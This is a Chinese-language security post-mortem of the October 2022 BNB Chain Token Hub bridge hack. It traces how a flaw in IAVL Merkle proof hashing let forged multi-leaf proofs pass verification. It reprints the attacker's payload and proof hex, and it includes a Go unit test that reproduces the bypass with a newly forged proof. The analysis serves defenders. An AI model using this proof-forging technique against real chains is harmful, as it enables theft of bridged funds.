BSC 攻击始末,看这一篇就够了
2022-10-0723:16
欧科云链
2022-10-07 23:16
欧科云链
2022-10-07 23:16
收藏文章
订阅专栏

事件背景

北京时间 2022 年 10 月 7 日凌晨,BNB  Chian 跨链桥 BSC Token Hub 遭遇攻击。黑客利用跨链桥漏洞分两次共获取 200 万枚 BNB,价值约 5.66 亿美元。

漏洞分析

BSCTokenHub 是 BNB 信标链(BEP2)和 BNB 链(BEP20 或 BSC)之间的跨链桥。BNB 链使用预编译合约 0x65 验证 BNB 信标链提交的 IAVL 的 Proof,但 BNB 链对提交的 Proof 边界情况处理不足,它仅考虑了 Proof 只有一个 Leaf 的场景,对多个 Leaves 的处理逻辑不够严谨。黑客构造了一个包含多 Leaves 的 Proof 数据,绕过 BNBChain 上的校验,从而在 BNB 链造成了 BNB 增发。

以其中一次攻击交易为例:0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b

黑客构造输入数据 payload 和 proof,输入参数通过validateMerkleProof校验,返回值为 true。

在后续IApplication(handlerContract).handleSynPackage 处理中,合约给黑客增发 100 万个 BNB。

函数调用过程

交易首先调用 CrossChain 合约 0x2000 的 handlePackage 函数:

  function handlePackage(bytes calldata payload, bytes calldata proof, uint64 height, uint64 packageSequence, uint8 channelId) onlyInit onlyRelayer      sequenceInOrder(packageSequence, channelId) blockSynced(height) channelSupported(channelId) external {    bytes memory payloadLocal = payload; // fix error: stack too deep, try removing local variables    bytes memory proofLocal = proof; // fix error: stack too deep, try removing local variables   require(MerkleProof.validateMerkleProof(ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height), STORE_NAME, generateKey(packageSequence, channelId), payloadLocal, proofLocal), "invalid merkle proof");    address payable headerRelayer = ILightClient(LIGHT_CLIENT_ADDR).getSubmitter(height);    ... ...    if (packageType == SYN_PACKAGE) {      address handlerContract = channelHandlerContractMap[channelIdLocal];      tryIApplication(handlerContract).handleSynPackage(channelIdLocal, msgBytes) returns (bytes memory responsePayload) {  if (responsePayload.length!=0) {          sendPackage(channelSendSequenceMap[channelIdLocal], channelIdLocal, encodePayload(ACK_PACKAGE, 0, responsePayload));          channelSendSequenceMap[channelIdLocal] = channelSendSequenceMap[channelIdLocal] + 1;        }      }       ... ...    }     ... ...    IRelayerIncentivize(INCENTIVIZE_ADDR).addReward(headerRelayer, msg.sender, relayFee, isRelayRewardFromSystemReward[channelIdLocal] || packageType != SYN_PACKAGE);  }  输入参数{  "payload": "0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",  "proof": "0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143",  "height": 110217401,  "packageSequence": 17684572,  "channelId": 2}

handlePackage 会进一步调用 MerkleProof.validateMerkleProof 对输入的 proof 进行校验:

// 函数原型:function validateMerkleProof(    bytes32 appHash,     string memory storeName,     bytes memory key,     bytes memory value,     bytes memory proof)// 函数调用:MerkleProof.validateMerkleProof(    ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height),     STORE_NAME,     generateKey(packageSequence, channelId),     payloadLocal,     proofLocal), // 调用参数:{  "appHash": "0x72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318",  "storeName": "ibc",  "key": "0x00000100380200000000010dd85c",  "value": "0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",  "proof": "0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143"}

MerkleProof 相关代码可以看到,实际的验证逻辑是使用预编译合约 0x65 完成:https://github.com/bnb-chain/bsc-genesis-contract/blob/master/contracts/MerkleProof.sol#L66

    uint256[1] memory result;    /* solium-disable-next-line */    assembly {    // call validateMerkleProof precompile contract    // Contract address: 0x65      ifiszero(staticcall(not(0), 0x65, input, length, result, 0x20)) {}    }    return result[0] == 0x01;

系统预编译合约 0x65 对应iavlMerkleProofValidate功能:https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts.go#L81

系统合约 0x65 实现代码如下,主要逻辑为使用 DecodeKeyValueMerkleProof 解码输入参数,并调用 Validate 进行校验:https://github.com/bnb-chain/bsc/blob/master/core/vm/contracts_lightclient.go#L106

func (c *iavlMerkleProofValidate) Run(input []byte) (result []byte, err error) {    //return nil, fmt.Errorf("suspend")    ... ...    kvmp, err := lightclient.DecodeKeyValueMerkleProof(input[precompileContractInputMetaDataLength:])if err != nil {            return nil, err    }    valid := kvmp.Validate()if !valid {            return nil, fmt.Errorf("invalid merkle proof")    }    result = make([]byte, merkleProofValidateResultLength)    binary.BigEndian.PutUint64(result[merkleProofValidateResultLength-uint64TypeLength:], 0x01)    return result, nil}

其中kvmp.Validate()实现代码如下:https://github.com/bnb-chain/bsc/blob/master/core/vm/lightclient/types.go#L220-L234

func (kvmp *KeyValueMerkleProof) Validate() bool {    prt := DefaultProofRuntime()    kp := merkle.KeyPath{}    kp = kp.AppendKey([]byte(kvmp.StoreName), merkle.KeyEncodingURL)    kp = kp.AppendKey(kvmp.Key, merkle.KeyEncodingURL)    if len(kvmp.Value) == 0 {        err := prt.VerifyAbsence(kvmp.Proof, kvmp.AppHash, kp.String())        return err == nil    }    err := prt.VerifyValue(kvmp.Proof, kvmp.AppHash, kp.String(), kvmp.Value)    return err == nil}

DefaultProofRuntime构造函数使用 IAVL 库进行 Proof 的验证:

import (    "bytes"    "fmt"    "github.com/tendermint/iavl"    "github.com/tendermint/tendermint/crypto/merkle"    cmn "github.com/tendermint/tendermint/libs/common")... ...func DefaultProofRuntime() (prt *merkle.ProofRuntime) {    prt = merkle.NewProofRuntime()    prt.RegisterOpDecoder(merkle.ProofOpSimpleValue, merkle.SimpleValueOpDecoder)    prt.RegisterOpDecoder(iavl.ProofOpIAVLValue, iavl.IAVLValueOpDecoder)    prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence, iavl.IAVLAbsenceOpDecoder)    prt.RegisterOpDecoder(ProofOpMultiStore, MultiStoreProofOpDecoder)    return}

IAVL 代码问题

IAVL 的 Proof 校验过程中,Hash 计算存在漏洞,导致黑客可以在 Proof 添加数据,但计算 Hash 时并没有用到添加的数据。详细分析如下:

在 len(pin.Left) 不为 0 的分支中,计算 Hash 并没有使用 pin.Right 数据。黑客利用该处漏洞构造数据,添加 proof.LeftPath[1].Right 数据,但是该数据并不参与 Hash 计算。https://github.com/cosmos/iavl/blob/master/proof.go#L79-L93

func (pin ProofInnerNode) Hash(childHash []byte) ([]byte, error) {        hasher := sha256.New()        buf := bufPool.Get().(*bytes.Buffer)        buf.Reset()        defer bufPool.Put(buf)        err := encoding.EncodeVarint(buf, int64(pin.Height))        if err == nil {                err = encoding.EncodeVarint(buf, pin.Size)        }        if err == nil {                err = encoding.EncodeVarint(buf, pin.Version)        }iflen(pin.Left) == 0 {if err == nil {                        err = encoding.EncodeBytes(buf, childHash)                }if err == nil {                        err = encoding.EncodeBytes(buf, pin.Right)                }        } else {if err == nil {                        err = encoding.EncodeBytes(buf, pin.Left)                }if err == nil {                        err = encoding.EncodeBytes(buf, childHash)                }        }        if err != nil {                return nil, fmt.Errorf("failed to hash ProofInnerNode: %v", err)        }        _, err = hasher.Write(buf.Bytes())        if err != nil {                return nil, err        }        return hasher.Sum(nil), nil}

根据上述分析,正常数据组织结构如下,proof.LeftPath[1].Right 为空值,计算得到正确的 Hash。

proof.LeftPath = len(2)

proof.LeftPath[0]是一个正常数据,proof.LeftPath[1].Left 是一个正常数据,proof.LeftPath[1].Right 空值

proof.InnerNodes = len(0)

proof.Leaves = len(1),proof.Leaves[0]是一个正常数据

黑客构造攻击数据结构如下,添加 proof.LeftPath[1].Right 数据,且该数据不参与 Hash 计算。

proof.LeftPath = len(2)

proof.LeftPath[0]是一个正常数据,proof.LeftPath[1].Left 是一个正常数据,proof.LeftPath[1].Right 是一个伪造数据

proof.InnerNodes = len(1), InnerNodes[0]=nil

proof.Leaves = len(2),proof.Leaves[0]是一个正常数据,proof.Leaves[1]是一个伪造数据

且 proof.LeftPath[1].Right = COMPUTEHASH(proof.Leaves[1])

IAVL 的 Proof 校验代码如下,主体逻辑为 COMPUTEHASH 递归调用。由于 lpath.Right 也为黑客输入数据,使得黑客构造的数据能够通过 bytes.Equal(derivedRoot, lpath.Right) 的校验,并返回上一轮 COMPUTEHASH 通过 proof.Leaves[0]计算的结果,该结果为正常数值,从而绕过了 IAVL 的 Proof 校验。

https://github.com/cosmos/iavl/blob/master/proof_range.go#L222-L309

func (proof *RangeProof) _computeRootHash() (rootHash []byte, treeEnd bool, err error) {   ...    var COMPUTEHASH func(path PathToLeaf, rightmost bool) (hash []byte, treeEnd bool, done bool, err error)    // rightmost: is the root a rightmost child of the tree?    // treeEnd: true iff the last leaf is the last item of the tree.    // Returns the (possibly intermediate, possibly root) hash.    COMPUTEHASH = func(path PathToLeaf, rightmost bool) (hash []byte, treeEnd bool, done bool, err error) {            // Pop next leaf.            nleaf, rleaves := leaves[0], leaves[1:]            leaves = rleaves            // Compute hash.            hash, err = (pathWithLeaf{                    Path: path,                    Leaf: nleaf,            }).computeRootHash()            if err != nil {                    return nil, treeEnd, false, err            }            // If we don't have any leaves left, we're done.            if len(leaves) == 0 {                    rightmost = rightmost && path.isRightmost()                    return hash, rightmost, true, nil            }            // Prove along path (until we run out of leaves).            for len(path) > 0 {                    // Drop the leaf-most (last-most) inner nodes from path                    // until we encounter one with a left hash.                    // We assume that the left side is already verified.                    // rpath: rest of path                    // lpath: last path item                    rpath, lpath := path[:len(path)-1], path[len(path)-1]                    path = rpath                    if len(lpath.Right) == 0 {                            continue                    }                    // Pop next inners, a PathToLeaf (e.g. []ProofInnerNode).                    inners, rinnersq := innersq[0], innersq[1:]                    innersq = rinnersq                    // Recursively verify inners against remaining leaves.                    derivedRoot, treeEnd, done, err := COMPUTEHASH(inners, rightmost && rpath.isRightmost())                    if err != nil {                            return nil, treeEnd, false, errors.Wrap(err, "recursive COMPUTEHASH call")                    }                    if !bytes.Equal(derivedRoot, lpath.Right) {return nil, treeEnd, false, errors.Wrapf(ErrInvalidRoot, "intermediate root hash %X doesn't match, got %X", lpath.Right, derivedRoot)                    }if done {return hash, treeEnd, true, nil                    }            }            // We're not done yet (leaves left over). No error, not done either.            // Technically if rightmost, we know there's an error "left over leaves            // -- malformed proof", but we return that at the top level, below.            return hash, false, false, nil    }    // Verify!    path := proof.LeftPath    rootHash, treeEnd, done, err := COMPUTEHASH(path, true)    if err != nil {            return nil, treeEnd, errors.Wrap(err, "root COMPUTEHASH call")    } else if !done {            return nil, treeEnd, errors.Wrap(ErrInvalidProof, "left over leaves -- malformed proof")    }    // Ok!    return rootHash, treeEnd, nil}

黑客攻击构造的数据中,包括了 IAVL:V 和 multistore 相关数据,multistore 数据也是基于 IAVL 进行操作,原理是一样的,不再进行详细分析。

这次 IAVL Proof 暴露的问题在于,数据局部的变化无法反应到整体,使得校验发生错误。在 Cosmos 生态中,IBC 使用 ICS23 来做数据的校验处理,ICS23 与 IAVL Proof 校验不同点在于,ICS23 会对所有的“叶子节点”的值进行数据校验,最后计算得出的根 Hash 再与链上数据进行校验,OKC 采用的是 ICS23 的 Prove,因此不存在 BNBChain 这次遇到的安全漏洞。

测试验证代码

利用黑客攻击交易数据,基于 BNBChain 单元测试代码,增加了基于黑客攻击交易的测试用例,可以完整复现黑客的攻击交易。单元测试代码利用 iavlMerkleProofValidate.Run 接口验证输入数据,即相当于调用预编译合约。https://github.com/BananaLF/bsc/blob/bsc-hack/core/vm/contracts_lightclient_test.go#L99-L100

iavlMerkleProofValidateContract := iavlMerkleProofValidate{}success, err := iavlMerkleProofValidateContract.Run(input)

利用黑客攻击交易数据,构造新的 payload 数据为 value := []byte(“okc test hack”),并对 proof 相应数据进行了修改,即修改 proof.LeftPath[1].Right 和 proof.Leaves[1]对应的数据,新构造的数据可以通过 okcIavlMerkleProofValidate 校验,即修改了黑客数据也能通过校验。另外,如下单元测试代码对原始黑客数据和修改后的数据两种 case 都进行了校验,且校验都能成功,从而说明如下测试代码利用本文所述漏洞成功进行了复现。https://github.com/BananaLF/bsc/commit/697c5cd73a755a7c93c0ed6c57d069e17f807958

func TestTmHeaderValidateAndMerkleProofValidateTest(t *testing.T) {        testCases := []struct {                name  string                value []byte                proof []byte    }{        {            //data source https://bscscan.com/tx/0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b            "hack data",            func() []byte {                    value, err := hex.DecodeString("000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100")                    require.NoError(t, err)                    return value            }(),            func() []byte {                    proofBytes, err := hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")                    require.NoError(t, err)                    return proofBytes            }(),        },        {            "okc test data",            func() []byte {                    value := []byte("okc test hack")                    return value            }(),            func() []byte {                    proofBytes, err := hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20862869344b449b596df9b3889117c7696b0838ecc112ce33b147ad28e587f71712001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12205d6de1244e019deb3f01c41555d6bb458af5de0be9f14fc8a75abb97c8dbc68018010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")                    require.NoError(t, err)                    return proofBytes            }(),        },    }    for _, tc := range testCases {        okcIavlMerkleProofValidate(tc.value, tc.proof, t)    }}func okcIavlMerkleProofValidate(value, proofBytes []byte, t *testing.T) {    key, err := hex.DecodeString("00000100380200000000010dd85c") // this equal to generateKey(17684572,2)    require.NoError(t, err)    newAppHash, err := hex.DecodeString("72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318") // this is got by hack data    require.NoError(t, err)    merkleProofInput := make([]byte, 32+32+len(key)+32+len(value)+32+len(proofBytes))    copy(merkleProofInput[:32], "ibc")    binary.BigEndian.PutUint64(merkleProofInput[32+24:32+32], uint64(len(key)))    copy(merkleProofInput[32+32:32+32+len(key)], key)    binary.BigEndian.PutUint64(merkleProofInput[32+32+len(key)+24:32+32+len(key)+32], uint64(len(value)))    copy(merkleProofInput[32+32+len(key)+32:32+32+len(key)+32+len(value)], value)    copy(merkleProofInput[32+32+len(key)+32+len(value):32+32+len(key)+32+len(value)+32], newAppHash)    copy(merkleProofInput[32+32+len(key)+32+len(value)+32:], proofBytes)    totalLengthPrefix := make([]byte, 32)    binary.BigEndian.PutUint64(totalLengthPrefix[0:8], 0)    binary.BigEndian.PutUint64(totalLengthPrefix[8:16], 0)    binary.BigEndian.PutUint64(totalLengthPrefix[16:24], 0)    binary.BigEndian.PutUint64(totalLengthPrefix[24:], uint64(len(merkleProofInput)))    input := append(totalLengthPrefix, merkleProofInput...)    iavlMerkleProofValidateContract := iavlMerkleProofValidate{}    success, err := iavlMerkleProofValidateContract.Run(input)    require.NoError(t, err, err)    expectedResult := make([]byte, 32)    binary.BigEndian.PutUint64(expectedResult[24:], 0x01)    require.Equal(t, expectedResult, success)}

事件过程

被攻击全过程可查看上一篇文章:链上卫士:BNBChain 遭攻击时间轴梳理。OKLink 多链浏览器已对 BNB Chain 黑客地址进行风险标签标记(标记为“Hack”),关于此次被盗后续,链上卫士团队将进一步追踪案件细节并及时同步。

【免责声明】市场有风险,投资需谨慎。本文不构成投资建议,用户应考虑本文中的任何意见、观点或结论是否符合其特定状况。据此投资,责任自负。

专栏文章
查看更多
数据请求中

推荐专栏

数据请求中

一起「遇见」未来

DOWNLOAD FORESIGHT NEWS APP

Download QR Code